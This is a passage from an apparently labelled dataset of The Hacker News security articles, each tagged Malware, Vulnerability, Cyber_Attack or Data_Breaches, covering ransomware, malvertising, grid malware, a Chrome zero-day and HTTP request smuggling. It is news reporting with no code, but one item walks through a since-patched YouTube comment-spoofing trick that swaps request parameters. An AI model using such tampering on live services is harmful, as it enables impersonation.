SWIFT Spokeswoman Natasha Deteran said the software update was intended ""to assist customers in enhancing their security and to spot inconsistencies in their local database records.""

",Malware
120 Compromised Ad Servers Target Millions of Internet Users,https://thehackernews.com/2021/04/120-compromised-ad-servers-target.html,"An ongoing malvertising campaign tracked as ""Tag Barnakle"" has been behind the breach of more than 120 ad servers over the past year to sneakily inject code in an attempt to serve malicious advertisements that redirect users to rogue websites, thus exposing victims to scamware or malware.
Unlike other operators who set about their task by infiltrating the ad-tech ecosystem using ""convincing personas"" to buy space on legitimate websites for running the malicious ads, Tag Barnakle is ""able to bypass this initial hurdle completely by going straight for the jugular — mass compromise of ad serving infrastructure,"" said Confiant security researcher Eliya Stein in a Monday write-up.
The development follows a year after the Tag Barnakle actor was found to have compromised nearly 60 ad servers in April 2020, with the infections primarily targeting an open-source advertising server called Revive.
The latest slew of attacks is no different, although the adversaries appear to have upgraded their tools to target mobile devices as well. ""Tag Barnakle is now pushing mobile targeted campaigns, whereas last year they were happy to take on desktop traffic,"" Stein said.
Specifically, the websites that receive an ad through a hacked server carries out client-side fingerprinting to deliver a second-stage JavaScript payload — click tracker ads — when certain checks are satisfied, that then redirect users to malicious websites, aiming to lure the visitors to an app store listing for fake security, safety, or VPN apps, which come with hidden subscription costs or hijack the traffic for other nefarious purposes.
Given that Revive is used by a good number of ad platforms and media companies, Confiant pegs the reach of Tag Barnakle in the range of ""tens if not hundreds of millions of devices.""
""This is a conservative estimate that takes into consideration the fact that they cookie their victims in order to reveal the payload with low frequency, likely to slow down detection of their presence,"" Stein said.

",Malware
Hacking YouTube To Get Spoofed Comments on Videos,https://thehackernews.com/2015/04/hacking-youtube-comments.html,"A security researcher has discovered a critical vulnerability in Google-owned YouTube that could allow anyone to make the comment posted by any celebrity or public figure on some YouTube video appear on his or her own YouTube video, impersonating that celeb.

Just a few weeks ago we reported about a simple logical vulnerability in YouTube that could have been exploited by anyone to delete any video from YouTube in just one shot.

Now:

Again a small trick in the popular video sharing website could allow anyone to play with the comments posted by users on YouTube videos.

Ahmed Aboul-Ela and Ibrahim M. El-Sayed, two Egyptian security researcher, found a simple trick that allowed him to copy any comments from any video on the popular video sharing website to his video, even without any user-interaction.

Not only this, but also:

This vulnerability allows you to spoof, duplicate or copy the comments on discussion boards from any YouTube channel and make it appear as the comments on your video or as a comment on your YouTube channel's discussion board.

How did this happen?

While testing the reviewing comments feature, the researcher noticed that the comments posted to any video on YouTube can be controlled by the author of that YouTube channel by changing the settings to ""Hold all comments for review"" before it gets posted.
After enabling this option, all the comments posted by different users on your video will be listed in a new tab on https://www.youtube.com/comments with an option to approve or remove it.

Now:

When you approve any listed comment and intercept the HTTP request, you'll find a comment_id and a video_id in the POST parameter.

If you change the video_id with any distinct video_id value, you'll get an error.

But, Here's the deal:

If you change only the comment_id to any other comment_id value on any YouTube video, keeping the video_id untouched, the request will get accepted by YouTube, and the comment will appear on your YouTube video.

However, this does not remove the original comment from the original video and even the author of the comment does not get notified that his comment is copied onto another video.

You can also watch the video demonstration of the YouTube vulnerability below:

Of course, the vulnerability have been fixed after the researcher reported it to Google. The search engine giant also paid Aboul-Ela a cash reward of $3,133.7 under its bug bounty scheme for finding and reporting the critical issue to the company.

",Vulnerability
Adobe Issues July 2020 Critical Security Patches for Multiple Software,https://thehackernews.com/2020/07/adobe-security-patch-july.html,"Adobe today released software updates to patch a total of 13 new security vulnerabilities affecting 5 of its widely used applications.

Out of these 13 vulnerabilities, four have been rated critical, and nine are important in severity.

The affected products that received security patches today include:

Adobe Creative Cloud Desktop Application
Adobe Media Encoder
Adobe Genuine Service
Adobe ColdFusion
Adobe Download Manager

Adobe Creative Cloud Desktop Application versions 5.1 and earlier for Windows operating systems contain four vulnerabilities, one of which is a critical symlink issue (CVE-2020-9682) leading to arbitrary file system write attacks.

According to the advisory, the other three important flaws in this Adobe software are privilege escalation issues.

Adobe Media Encoder contains two critical arbitrary code execution (CVE-2020-9650 and CVE-2020-9646) and one important information disclosure issues, affecting both Windows and macOS users running Media Encoder version 14.2 or earlier.

Adobe Genuine Service, a utility in Adobe suite that prevents users from running non-genuine or cracked pirated software, is affected by three important privilege escalation issues. These flaws reside in software version 6.6 and earlier for Windows and macOS operating systems.

Adobe's web-application development platform ColdFusion also suffers from two important severity privilege escalation issues that can be carried out by exploiting the DLL search-order hijacking attack.

At last, Adobe Download Manager has been found vulnerable to only one flaw (CVE-2020-9688) that's critical in severity and could lead to arbitrary code execution in the current user context through command injection attack.

The flaw affects Adobe Download Manager version 2.0.0.518 for Windows and has been patched with the release of version 2.0.0.529 of the software.

None of the security vulnerabilities fixed in this batch of Adobe updates were publicly disclosed or found being exploited in the wild.

However, it's still highly recommended that Adobe users download and install the latest versions of the affected software to protect their systems and businesses from potential cyber-attacks.

That's also because many patches released in today's batch have received a priority rating of 2, meaning similar flaws have previously been seen exploited in the wild, and for now, the company has found no evidence of any exploitation of these vulnerabilities.

",Vulnerability
Ultrasonic Password Security for Google Accounts,https://thehackernews.com/2014/02/google-may-implement-ultrasonic.html,"Does a Strong Password Guarantee you the Security of your Online Account? If yes, then you should once check out our 'Data breaches' section on the website.

A Startup Company, SlickLogin has developed a technology that enables you to login into online accounts using Ultrasonic sound, instead of entering username and password on your.

The company claims its technology offers ""military-grade security"" that replaces passwords in the two-step process simply by placing your Phone next to their laptop or tablet.

When you sign-in via SlickLogin enabled website, the computer will play a sound which is encrypted into Ultrasonic Sound, inaudible to the human ear, but your Smartphone can hear it.

The Smartphone Sends data back to the SlickLogin Servers for authentication and grants immediate access. Each sound is different, unique and cannot be reused to hack an account.
Recently, Google has acquired this two month old Israeli Startup, ""Today we're announcing that the SlickLogin team is joining Google, a company that shares our core beliefs that logging in should be easy instead of frustrating, and authentication should be effective without getting in the way."" SlickLogin website said.

SlickLogin also uses WiFi, Bluetooth, NFC, QR codes and GPS to prevent your account from hackers on the other side of the world.

SlickLogin Technology gives you a way to set an unforgettable password, but at the same time physical access to the Smartphone may pose critical threat to your online accounts and Smartphones with Low battery Backup may trouble you most of the times.

",Data_Breaches
Security Concern : Internet Enabled TV can be hacked !,https://thehackernews.com/2012/04/security-concern-internet-enabled-tv.html,"Security Concern : Internet Enabled TV can be hacked !

Is your Internet TV vulnerable to hackers? Internet TVs could be the newest avenue for cybercriminals to infiltrate your home or business. Last year, Researchers at Mocana, a security technology company in San Francisco, recently discovered they could hack into a best-selling Internet-ready HDTV model with unsettling ease.

According to a new report from researcher NPD In-Stat predicts that 100 million homes in North America and Western Europe will own television sets that blend traditional programs with Internet content by 2016.

What exactly these Internet Enabled TV have ? Its IP addresses, always-on network interfaces, CPUs, storage, memory, and operating systems the details that have offered hackers a bounty of attack choices for the last three decades.

""Our goal was to see if we could hack into the set-top box, steal customer personal information, pirate services, and incur denial-of-service conditions."" Roger Grimes wrote on Pcworld. He added ""we not only owned the box, but ended up taking root of the entire cable system.""

He added an example, if we could steal porn or force porn onto another television that was watching Disney content, with the idea that offended customers would drop their service.

If you own an Internet-connected TV, your best bet may be to avoid using it to complete any online transactions, at least until you're sure that sufficient security measures are in place to protect your personal data.

",Vulnerability
Ransomware Cyber Attack Forced the Largest U.S. Fuel Pipeline to Shut Down,https://thehackernews.com/2021/05/ransomware-cyber-attack-forced-largest.html,"Colonial Pipeline, which carries 45% of the fuel consumed on the U.S. East Coast, on Saturday said it halted operations due to a ransomware attack, once again demonstrating how critical infrastructure is vulnerable to cyber attacks.
""On May 7, the Colonial Pipeline Company learned it was the victim of a cybersecurity attack,"" the company said in a statement posted on its website. ""We have since determined that this incident involves ransomware. In response, we proactively took certain systems offline to contain the threat, which has temporarily halted all pipeline operations, and affected some of our IT systems.""
Colonial Pipeline is the largest refined products pipeline in the U.S., a 5,500 mile (8,851 km) system involved in transporting over 100 million gallons from the Texas city of Houston to New York Harbor.
Cybersecurity firm FireEye's Mandiant incident response division is said to be assisting with the investigation, according to reports from Bloomberg and The Wall Street Journal, with the attack linked to a ransomware strain called DarkSide.
""We are engaged with Colonial and our interagency partners regarding the situation,"" the U.S. Cybersecurity and Infrastructure Security Agency (CISA) said. ""This underscores the threat that ransomware poses to organizations regardless of size or sector. We encourage every organization to take action to strengthen their cybersecurity posture to reduce their exposure to these types of threats.""
Darkside ransom note
An analysis of the ransomware published by Cybereason earlier in April 2021 reveals that DarkSide has a pattern of being used against targets in English-speaking countries, while avoiding entities located in former Soviet Bloc nations.
The operators behind the ransomware also recently switched to an affiliate program in March, wherein threat actors are recruited to spread the malware by breaching corporate network victims, while the core developers take charge of maintaining the malware and payment infrastructure.
DarkSide, which commenced operations in August 2020, has published stolen data from more than 40 victims to date. It's not immediately clear how much money the attackers demanded or whether Colonial Pipeline has paid. A separate report from Bloomberg alleged that the cybercriminals behind the attack stole 100GB of data from its network.
Rising Threat of Ransomware
The latest cyber attack comes as a coalition of government and tech firms in the private sector, called the Ransomware Task Force, released a list of 48 recommendations to detect and disrupt the rising ransomware threat, in addition to helping organizations prepare and respond to such attacks more effectively.
Potentially damaging intrusions targeting utilities and critical infrastructure have witnessed a surge in recent years, fueled in part by ransomware attacks that have increasingly jumped on the double extortion bandwagon to not only encrypt the victim's data, but exfiltrate the information beforehand and threaten to make it public if the ransom demand is not paid.
Based on data gathered by Check Point and shared with The Hacker News, cyber attacks targeting American utilities increased by 50% on average per week, from 171 at the start of March to 260 towards the end of April. What's more, over the last nine months, the monthly number of ransomware attacks in the U.S. nearly tripled to 300.
""Furthermore, in recent weeks an average of 1 in every 88 Utilities organization in the U.S. suffered from an attempted Ransomware attack, up by 34% compared to the average from the beginning of 2021,"" the American-Israeli cybersecurity firm said.
In February 2020, CISA issued an alert warning of increasing ransomware infections impacting pipeline operations following an attack that hit an unnamed natural gas compression facility in the country, causing the company to shut down its pipeline asset for about two days.
Securing pipeline infrastructure has been an area of focus for the Department of Homeland Security, which in 2018 assigned CISA to oversee what's called the Pipeline Cybersecurity Initiative (PCI) that aims to identify and address emerging threats and implement security measures to protect more than 2.7 million miles of pipelines responsible for transporting oil and natural gas in the U.S.
The agency's National Risk Management Center (NRMC) has also published a Pipeline Cybersecurity Resources Library in February 2021 to ""provide pipeline facilities, companies, and stakeholders with a set of free, voluntary resources to strengthen their cybersecurity posture.""

",Cyber_Attack
Purple Fox Rootkit Can Now Spread Itself to Other Windows Computers,https://thehackernews.com/2021/03/purple-fox-rootkit-can-now-spread.html,"Purple Fox, a Windows malware previously known for infecting machines by using exploit kits and phishing emails, has now added a new technique to its arsenal that gives it worm-like propagation capabilities.
The ongoing campaign makes use of a ""novel spreading technique via indiscriminate port scanning and exploitation of exposed SMB services with weak passwords and hashes,"" according to Guardicore researchers, who say the attacks have spiked by about 600% since May 2020.
A total of 90,000 incidents have been spotted through the rest of 2020 and the beginning of 2021.
First discovered in March 2018, Purple Fox is distributed in the form of malicious "".msi"" payloads hosted on nearly 2,000 compromised Windows servers that, in turn, download and execute a component with rootkit capabilities, which enables the threat actors to hide the malware on the machine and make it easy to evade detection.
Guardicore says Purple Fox hasn't changed much post-exploitation, but where it has is in its worm-like behavior, allowing the malware to spread more rapidly.
It achieves this by breaking into a victim machine through a vulnerable, exposed service such as server message block (SMB), leveraging the initial foothold to establish persistence, pull the payload from a network of Windows servers, and stealthily install the rootkit on the host.
Once infected, the malware blocks multiple ports (445, 139, and 135), likely in an attempt to ""prevent the infected machine from being reinfected, and/or to be exploited by a different threat actor,"" notes Amit Serper, Guardicore's new vice president of security research for North America.
In the next phase, Purple Fox commences its propagation process by generating IP ranges and scanning them on port 445, using the probes to single out vulnerable devices on the Internet with weak passwords and brute-forcing them to ensnare the machines into a botnet.
While botnets are often deployed by threat actors to launch denial-of-network attacks against websites with the goal of taking them offline, they can also be used to spread all kinds of malware, including file-encrypting ransomware, on the infected computers, although in this case, it's not immediately clear what the attackers are looking to achieve.
If anything, the new infection vector is another sign of criminal operators constantly retooling their malware distribution mechanism to cast a wide net and compromise as many machines as possible. Details about the indicators of compromise (IoCs) associated with the campaign can be accessed here.

",Malware
Russian Hackers Behind Gozi Malware charged for Infecting Millions users,https://thehackernews.com/2013/01/russian-hacker-behind-gozi-malware.html,"The mastermind Russian Hackers who coded and distributed the Gozi malware, Nikita Vladimirovich Kuzmin, 25 was charged along with Deniss Calovskis, 27, and Mihai Ionut Paunescu, 28 for infecting more than a million computers worldwide in order to steal banking and other credentials from tens of thousands of victims.

They may face a maximum penalty of 95, 60 and 67 years in prison, respectively. Kuzmin allegedly created the Gozi program in 2005, hiring a programmer to write the source code and then leasing it to other criminal customers.

According to latest reports, Nikita has agreed to cooperate with the United States. As potential evidence, the feds have been able to retrieve 51 servers in Romania as well as laptops, desktops and external hard drives. The data seized amounts to 250 terabytes.

Paunescu, a Romanian national who went by the name ""Virus"" operated a bulletproof hosting service that provided criminal customers with servers and IP addresses from which to send out phishing emails containing the Gozi virus as well as the Zeus and SpyEye banking trojans.

Calovskis, who went by the name ""Miam,"" was purportedly hired by Kuzmin to develop ""web injects.""

Authorities say the virus infected at least 40,000 computers in the U.S., including more than 160 computers belonging to NASA, and cost victims tens of millions of dollars in losses. The malicious code allowed Kuzmin to remotely control the compromised systems as a botnet, installing additional code to steal information and access banks accounts.

",Malware
Hackers Stole $300 Million from 100 Banks Using Malware,https://thehackernews.com/2015/02/hacker-malware-bank-heist.html,"Despite increased online and mobile banking security, banks are more often being targeted by hackers. A hacker group has infiltrated a number of banks and financial institutions in several countries, stealing hundreds of Millions of dollars in possibly the biggest bank heist the world has ever seen.

According to a report published by the New York Times on Saturday, hackers have stolen as much as $1 Billion from more than 100 banks and other financial companies in almost 30 nations, making it ""the most sophisticated attack the world has seen to date.""

In late 2013, banks in Russia, Japan, Europe, the United States and other countries fell victim to a massive, sophisticated malware hack that allowed the hackers to spy on bank officials in order to mimic their behavior, according to an upcoming report by Kaspersky Labs received by the NY Times.

CARBANAK BANKING MALWARE IN THE WILD
In order to infect bank staffs, the hacker group sent malicious emails to hundreds of employees at different banks. Once open, the email downloads a malware program called Carbanak, that allegedly allowed perpetrators to transfer money from the banks to fake accounts or ATMs monitored by criminals.
The exact figure of the stolen amount is unclear, though, according to the cybersecurity firm, the total theft could be more than $300 Million. Because, the hackers only swiped $10 million at a time and some banks were targeted more than once.
""This is likely the most sophisticated attack the world has seen to date in terms of the tactics and methods that cybercriminals have used to remain covert,"" Chris Doggett, manager of Kaspersky's North American office in Boston, told the Times.
However, the cyber security firm does not name the banks and financial institutions involved in the massive theft operation in its report. But, the interesting part is that no banks have come forward to reveal that they have been hacked in this largest theft.
HISTORY OF CYBER HEIST
This is not first time when hackers have made banks and financial institutions as their target. In past, they had carried out a number of bank crimes. The list is given below:
In March, 2012 - A Russian hacker was sentenced to two years in US prison for his involvement in a global bank Million Dollar Fraud scheme that used hundreds of phony bank accounts to steal over $3 million from dozens of U.S.accounts. He was responsible for the Zeus banking malware that was used to carry out the fraud.
In October, 2012 - FBI arrested 14 people who used cash advance kiosks at casinos located in Southern California and Nevada and robbed over $1 million from Citibank.
In May, 2013 - A gang of cyber-criminals operating in 26 countries stole $45 Million by hacking into the database of prepaid debit cards, making it the biggest bank robbery in the history.
In July, 2013 - A hacker group allegedly broke into the computer networks of more than a dozen of major American and International corporations and stole 160 million credit card numbers over the course of 7 years, making it the largest data theft case ever prosecuted in the U.S.
In October, 2013 - The Dutch police arrested four people who used TorRat Malware to target two out of three major Banks in the Netherlands and stole over Millions of Dollars from Banking Accounts.

",Malware
"Hacker made calls worth £10,000 from public phone",https://thehackernews.com/2012/06/hacker-made-calls-worth-10000-from.html,"Hacker made calls worth £10,000 from public phone
Computer expert Dariusz Ganski, of Sunny Bank, Kingswood, used a router to tap into BT phone boxes and made hours of calls to expensive numbers.

He make calls worth £10,000 of premium-line bills and he has been jailed for 18 months.

Prosecutor David Maunder commented: ""Police located the vehicle and they found Mr Ganski with two laptop computers and numerous mobile telephones.""

Bristol Crown Court heard that the 27-year-old committed his crimes to get electronic credits for music and on-line games, while still on licence from prison for almost identical offences.

Ganski made 648 calls, totalling nearly 43 hours, from a phone box in Kelston, North East Somerset. BT was alerted to unpaid calls costing them about £7,700 on that box.

He said: ""Your counsel says you're intelligent. What a waste that what you really do is go round defrauding companies in this way.""

",Vulnerability
Dangerous Malware Discovered that Can Take Down Electric Power Grids,https://thehackernews.com/2017/06/electric-power-grid-malware.html,"Last December, a cyber attack on Ukrainian Electric power grid caused the power outage in the northern part of Kiev — the country's capital — and surrounding areas, causing a blackout for tens of thousands of citizens for an hour and fifteen minutes around midnight.

Now, security researchers have discovered the culprit behind those cyber attacks on the Ukrainian industrial control systems.

Slovakia-based security software maker ESET and US critical infrastructure security firm Dragos Inc. say they have discovered a new dangerous piece of malware in the wild that targets critical industrial control systems and is capable of causing blackouts.

Dubbed ""Industroyer"" or ""CrashOverRide,"" the grid-sabotaging malware was likely to be used in the December 2016 cyber attack against Ukrainian electric utility Ukrenergo, which the security firms say represents a dangerous advancement in critical infrastructure hacking.

According to the researchers, CrashOverRide is the biggest threat designed to disrupt industrial control systems, after Stuxnet — the first malware allegedly developed by the US and Israel to sabotage the Iranian nuclear facilities in 2009.

This Malware Does Not Exploit Any Software Flaw

Unlike Stuxnet worm, the CrashOverRide malware does not exploit any ""zero-day"" software vulnerabilities to do its malicious activities; instead, it relies on four industrial communication protocols used worldwide in power supply infrastructure, transportation control systems, and other critical infrastructure systems.

The CrashOverRide malware can control electricity substation' switches and circuit breakers, designed decades ago, allowing an attacker to simply turning off power distribution, cascading failures and causing more severe damage to equipment.

Industroyer malware is a backdoor that first installs four payload components to take control of switches and circuit breakers; and then connects to a remote command-and-control server to receive commands from the attackers.
""Industroyer payloads show the authors' in-depth knowledge and understanding of industrial control systems."" ESET researchers explain.
""The malware contains a few more features that are designed to enable it to remain under the radar, to ensure the malware's persistence, and to wipe all traces of itself after it has done its job.""
Since there have been four malware discovered in the wild to date that target industrial control systems, including Stuxnet, Havex, BlackEnergy, and CrashOverRide; Stuxnet and CrashOverRide were designed only for sabotage, while BlackEnergy and Havex were meant for conducting espionage.
""The functionality in the CRASHOVERRIDE framework serves no espionage purpose and the only real feature of the malware is for attacks which would lead to electric outages,"" reads Dragos analysis [PDF] of the malware.

Malware Can Cause Wider and Longer-Lasting Blackouts

The analysis of the malware suggests CrashOverRide could cause power outages far more widespread, sophisticated and longer lasting than the one Ukraine suffered last December.

Dragos CEO Robert M. Lee said the CrashOverRide malware is capable of causing power outages that can last up to a few days in portions of a country's electric grid, but it is not capable enough to bring down the entire grid of a nation.
The malware includes interchangeable, plug-in components that could allow CrashOverRide to be altered to different electric power utilities or even launched simultaneous attacks on multiple targets.
""CrashOverRide is not unique to any particular vendor or configuration and instead leverages knowledge of grid operations and network communications to cause impact; in that way, it can be immediately re-purposed in Europe and portions of the Middle East and Asia,"" Dragos' paper reads.
""CrashOverRide is extensible and with a small amount of tailoring such as the inclusion of a DNP3 [Distributed Network Protocol 3] protocol stack would also be effective in the North American grid.""
According to the researchers, the malware can be modified to target other types of critical infrastructure, like transportation, gas lines, or water facilities, as well with additional protocol modules.

The security firms have already alerted government authorities and power grid companies about the dangerous threat, along with some advises that could help them to defend against this threat.

The security firms already argued that the 2016 power outage was likely caused by the same group of hackers who caused 2015 blackout — Sandworm, a state-sponsored hacking group believed to be from Russia.

Dragos tracked the perpetrators behind CrashOverRide as Electrum and assessed ""with high confidence through confidential sources that Electrum has direct ties to the Sandworm team.""

The security firms have already alerted government authorities and power grid companies about the dangerous threat, along with some advises that could help them to defend against this threat.

",Cyber_Attack
"Turns Out New Petya is Not a Ransomware, It's a Destructive Wiper Malware",https://thehackernews.com/2017/06/petya-ransomware-wiper-malware.html,"What if I say the Tuesday's devastating global malware outbreak was not due to any ransomware infection?

Yes, the Petya ransomware attacks that began infecting computers in several countries, including Russia, Ukraine, France, India and the United States on Tuesday and demands $300 ransom was not designed with the intention of restoring the computers at all.

According to a new analysis, the virus was designed to look like ransomware but was wiper malware that wipes computers outright, destroying all records from the targeted systems.

Comae Technologies Founder Matt Suiche, who closely looked the operation of the malware, said after analyzing the virus, known as Petya, his team found that it was a ""Wiper malware,"" not ransomware.

Security experts even believe the real attack has been disguised to divert world's attention from a state-sponsored attack on Ukraine to a malware outbreak.

""We believe the ransomware was, in fact, a lure to control the media narrative, especially after the WannaCry incident, to attract the attention on some mysterious hacker group rather than a national state attacker,"" Suiche writes.

Is Petya Ransomware Faulty or Over-Smart?

Petya is a nasty piece of malware that, unlike other traditional ransomware, does not encrypt files on a targeted system one by one.

Instead, Petya reboots victims computers and encrypts the hard drive's master file table (MFT) and renders the master boot record (MBR) inoperable, restricting access to the full system by seizing information about file names, sizes, and location on the physical disk.

Then Petya ransomware takes an encrypted copy of MBR and replaces it with its own malicious code that displays a ransom note, leaving computers unable to boot.
However, this new variant of Petya does not keep a copy of replaced MBR, mistakenly or purposely, leaving infected computers unbootable even if victims get the decryption keys.

Also, after infecting one machine, the Petya ransomware scans the local network and quickly infects all other machines (even fully-patched) on the same network, using EternalBlue SMB exploit, WMIC and PSEXEC tools.

Don't Pay Ransom; You Wouldn't Get Your Files Back

So far, nearly 45 victims have already paid total $10,500 in Bitcoins in hope to get their locked files back, but unfortunately, they would not.

It's because the email address, which was being set-up by the attackers to communicate with victims and send decryption keys, was suspended by the German provider shortly after the outbreak.

Meaning, even if victims do pay the ransom, they will never recover their files. Kaspersky researchers also said same.

""Our analysis indicates there is little hope for victims to recover their data. We have analyzed the high-level code of the encryption routine, and we have figured out that after disk encryption, the threat actor could not decrypt victims' disks,"" the security firm said.

""To decrypt a victim's disk threat actors need the installation ID. In previous versions of 'similar' ransomware like Petya/Mischa/GoldenEye this installation ID contained the information necessary for key recovery.""

If claims made by the researcher is correct that the new variant of Petya is a destructive malware designed to shut down and disrupt services around the world, the malware has successfully done its job.

However, it is still speculation, but the virus primarily and massively targeted multiple entities in Ukraine, including the country's local metro, Kiev's Boryspil airport, electricity supplier, the central bank, and the state telecom.

Other countries infected by the Petya virus included Russia, France, Spain, India, China, the United States, Brazil, Chile, Argentina, Turkey and South Korea.

How Did Petya get into the Computers in the First Place?

According to research conducted by Talos Intelligence, little-known Ukrainian firm MeDoc is likely the primary source of the yesterday's global ransomware outbreak.

Researchers said the virus has possibly been spread through a malicious software update to a Ukrainian tax accounting system called MeDoc, though MeDoc has denied the allegations in a lengthy Facebook post.

""At the time of updating the program, the system could not be infected with the virus directly from the update file,"" translated version of MeDoc post reads. ""We can argue that users of the MEDoc system can not infect their PC with viruses at the time of updating the program.""

However, several security researchers and even Microsoft agreed with Talo's finding, saying MeDoc was breached and the virus was spread via updates.

",Cyber_Attack
Indian Officials Get Training from Hackers who cracked CERN's IT system,https://thehackernews.com/2012/07/indian-officials-get-training-from.html,"Two Argentina-based cyber security experts - Chris Russo and Fernando Viacanel, who claimed to have cracked the security code of IT systems involved in the discovery of 'God Particle', today conducted training sessions for Indian government officials.

Both the hackers are partners of IT security firm E2 Labs and their company in arrangement with industry chamber Assocham has plans to conduct series of technology exchange programmes on cyber security.

Russo said that three times he has been able to find vulnerability in IT system of European Organisation for Nuclear Research (CERN) that has been involved in discovery of 'God Particle' or Higgs Boson.

Programme was attended by officials from Cabinet secretariat, National Technical Research Organisation, Airforce, C-DAC, Income Tax Department, Assam's AMTRON along with representatives from private sector entities, Aircel and Cisco.

""Talents required to be cyber security experts are mostly available in people with an average age of below 30. This should be also recognised by government"", Senior Director Assocham Ajay Sharma said.

Chris Russo also going to Present ""Black Arts of Automated and Remote Exploitation"" at The Hackers Conference, will be held in New Delhi on July 29 2012.

His talk will be about the bundle exploit packs, also known as BEPs. His presentation will shows and demonstrates the mechanisms, including passive and active detection systems, drive by download and drive by cache techniques, geolocation libraries implemented, Obfuscation and encryption techniques, and the selection on the fly of the most convenient exploit for each case. How this systems are used, for malware spreading such as botnets, PPI binaries and Rouge AVs, generating profits for their owners for more than $500 dollars daily.

The audience should benefit by understanding the threats, risks and market behind the automated remote exploitation techniques and the entire economic system behind it. His talk will also allow the users to take preventive measures in order to stop these threats or reduce the risk associated with it.

The Hackers Conference 2012 is expected to be the first open gathering of Blackhat hackers in India who will debate latest security issues with the top itelligence echolons in India. The conference has sent special invites to Blackhat hackers to come and demonstrate their talent and help the security agencies bridge the knowledge gaps existing today.

You can Register yourself here, to attend THC2012.

",Vulnerability
New Chrome 0-day Under Active Attacks – Update Your Browser Now,https://thehackernews.com/2020/10/chrome-zeroday-attacks.html,"Attention readers, if you are using Google Chrome browser on your Windows, Mac, or Linux computers, you need to update your web browsing software immediately to the latest version Google released earlier today.
Google released Chrome version 86.0.4240.111 today to patch several security high-severity issues, including a zero-day vulnerability that has been exploited in the wild by attackers to hijack targeted computers.
Tracked as CVE-2020-15999, the actively exploited vulnerability is a type of memory-corruption flaw called heap buffer overflow in Freetype, a popular open source software development library for rendering fonts that comes packaged with Chrome.
The vulnerability was discovered and reported by security researcher Sergei Glazunov of Google Project Zero on October 19 and is subject to a seven-day public disclosure deadline due to the flaw being under active exploitation.
Glazunov also immediately reported the zero-day vulnerability to FreeType developers, who then developed an emergency patch to address the issue on October 20 with the release of FreeType 2.10.4.
Without revealing technical details of the vulnerability, the technical lead for Google's Project Zero Ben Hawkes warned on Twitter that while the team has only spotted an exploit targeting Chrome users, it's possible that other projects that use FreeType might also be vulnerable and are advised to deploy the fix included in FreeType version 2.10.4.
""While we only saw an exploit for Chrome, other users of freetype should adopt the fix discussed here: https://savannah.nongnu.org/bugs/?59308 -- the fix is also in today's stable release of FreeType 2.10.4,"" Hawkes writes.
According to details shared by Glazunov, the vulnerability exists in the FreeType's function ""Load_SBit_Png,"" which processes PNG images embedded into fonts. It can be exploited by attackers to execute arbitrary code just by using specifically crafted fonts with embedded PNG images.
""The issue is that libpng uses the original 32-bit values, which are saved in `png_struct`. Therefore, if the original width and/or height are greater than 65535, the allocated buffer won't be able to fit the bitmap,"" Glazunov explained.
Glazunov also published a font file with a proof-of-concept exploit.
Google released Chrome 86.0.4240.111 as Chrome's ""stable"" version, which is available to all users, not just to opted-in early adopters, saying that the company is aware of reports that ""an exploit for CVE-2020-15999 exists in the wild,"" but did not reveal further details of the active attacks.
Besides the FreeType zero-day vulnerability, Google also patched four other flaws in the latest Chrome update, three of which are high-risk vulnerabilities—an inappropriate implementation bug in Blink, a use after free bug in Chrome's media, and use after free bug in PDFium—and one medium-risk use after free issue in browser's printing function.
Although the Chrome web browser automatically notifies users about the latest available version, users are recommended to manually trigger the update process by going to ""Help → About Google Chrome"" from the menu.

",Cyber_Attack
Researcher Demonstrates 4 New Variants of HTTP Request Smuggling Attack,https://thehackernews.com/2020/08/http-request-smuggling.html,"A new research has identified four new variants of HTTP request smuggling attacks that work against various commercial off-the-shelf web servers and HTTP proxy servers.

Amit Klein, VP of Security Research at SafeBreach who presented the findings today at the Black Hat security conference, said that the attacks highlight how web servers and HTTP proxy servers are still susceptible to HTTP request smuggling even after 15 years since they were first documented.

What is HTTP Request Smuggling?

HTTP request smuggling (or HTTP Desyncing) is a technique employed to interfere with the way a website processes sequences of HTTP requests that are received from one or more users.

Vulnerabilities related to HTTP request smuggling typically arise when the front-end (a load balancer or proxy) and the back-end servers interpret the boundary of an HTTP request differently, thereby allowing a bad actor to send (or ""smuggle"") an ambiguous request that gets prepended to the next legitimate user request.

This desynchronization of requests can be exploited to hijack credentials, inject responses to users, and even steal data from a victim's request and exfiltrate the information to an attacker-controlled server.

The technique was first demonstrated in 2005 by a group of researchers from Watchfire, including Klein, Chaim Linhart, Ronen Heled, and Steve Orrin. But in the last five years, a number of improvements have been devised, significantly expanding on the attack surface to splice requests into others and ""gain maximum privilege access to internal APIs,"" poison web caches, and compromise login pages of popular applications.

What's New?

The new variants disclosed by Klein involve using various proxy-server combinations, including Aprelium's Abyss, Microsoft IIS, Apache, and Tomcat in the web-server mode, and Nginx, Squid, HAProxy, Caddy, and Traefik in the HTTP proxy mode.



The list of all new four new variants is as below, including an old one that the researcher successfully exploited in his experiments.

Variant 1: ""Header SP/CR junk: …""
Variant 2 – ""Wait for It""
Variant 3 – HTTP/1.2 to bypass mod_security-like defense
Variant 4 – a plain solution
Variant 5 – ""CR header""


When handling HTTP requests containing two Content-Length header fields, Abyss, for example, was found to accept the second header as valid, whereas Squid used the first Content-Length header, thus leading the two servers to interpret the requests differently and achieve request smuggling.

In situations where Abyss gets an HTTP request with a body whose length is less than the specified Content-Length value, it waits for 30 seconds to fulfill the request, but not before ignoring the remaining body of the request. Klein found that this also results in discrepancies between Squid and Abyss, with the latter interpreting portions of the outbound HTTP request as a second request.

A third variant of the attack uses HTTP/1.2 to circumvent WAF defenses as defined in OWASP ModSecurity Core Rule Set (CRS) for preventing HTTP request smuggling attacks craft a malicious payload that triggers the behavior.

Lastly, Klein discovered that using the ""Content-Type: text/plain"" header field was sufficient to bypass paranoia level checks 1 and 2 specified in CRS and yield an HTTP Request Smuggling vulnerability.

What Are the Possible Defenses?

After the findings were disclosed to Aprelium, Squid, and OWASP CRS, the issues were fixed in Abyss X1 v2.14, Squid versions 4.12, and 5.0.3 and CRS v3.3.0.

Calling for normalization of outbound HTTP Requests from proxy servers, Klein stressed the need for an open source, robust web application firewall solution that's capable of handling HTTP Request Smuggling attacks.

""ModSecurity (combined with CRS) is indeed an open source project, but as for robustness and genericity, mod_security has several drawbacks,"" Klein noted. ""It doesn't provide full protection against HTTP Request Smuggling [and] it is only available for Apache, IIS and nginx.""

To this end, Klein has published a C++-based library that ensures that all incoming HTTP requests are entirely valid, compliant, and unambiguous by enforcing strict adherence to HTTP header format and request line format. It can be accessed from GitHub here.

",Vulnerability
